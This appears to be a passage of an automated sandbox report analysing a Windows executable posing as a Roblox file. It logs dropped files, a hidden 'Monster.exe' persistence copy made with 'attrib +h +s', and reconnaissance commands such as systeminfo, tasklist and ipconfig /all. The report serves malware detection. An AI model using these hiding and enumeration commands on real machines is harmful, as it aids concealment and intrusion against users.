Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll

Source: C:\Users\user\Desktop\roblox1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Automated click: OK
Source: C:\Windows\System32\query.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: roblox1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: roblox1.exe

Static file information: File size 11168256 > 1048576

Source: roblox1.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xa85400

Source: roblox1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301567000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1953260784.00007FFBA9EE5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: stub.exe, 00000003.00000002.1965068421.00007FFBBBE92000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: roblox1.exe, 00000000.00000003.1539994673.000001B3013F1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1954163213.00007FFBAA16F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945909540.00000213BE720000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1965877888.00007FFBBC260000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: stub.exe, 00000003.00000002.1964238411.00007FFBBB553000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: stub.exe, 00000003.00000002.1964051788.00007FFBBAF4C000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1961361267.00007FFBAAD33000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: roblox1.exe, 00000000.00000003.1539994673.000001B3013F1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1954163213.00007FFBAA16F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1963452510.00007FFBB5C17000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1966370178.00007FFBBC9F3000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1952475865.00007FFBA9E5C000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: roblox1.exe, 00000000.00000003.1539994673.000001B301567000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1953260784.00007FFBA9EE5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: stub.exe, 00000003.00000002.1963629139.00007FFBB5CBD000.00000002.00000001.01000000.00000012.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: stub.exe, 00000003.00000002.1965708695.00007FFBBC246000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: stub.exe, 00000003.00000002.1954163213.00007FFBAA1F1000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp

Source: vcruntime140.dll.0.dr

Static PE information: 0xEFFF39AD [Sun Aug 4 18:57:49 2097 UTC]

Source: roblox1.exe	Static PE information: section name: .eh_fram
Source: roblox1.exe	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: stub.exe.0.dr	Static PE information: section name: .eh_fram
Source: stub.exe.0.dr	Static PE information: section name: .xdata
Source: python310.dll.0.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: Monster.exe.3.dr	Static PE information: section name: .eh_fram
Source: Monster.exe.3.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 56_2_00007FFB496400BD pushad ; iretd

56_2_00007FFB496400C1

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_helpers_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File created: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\select.pyd	Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query type= service state= all

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
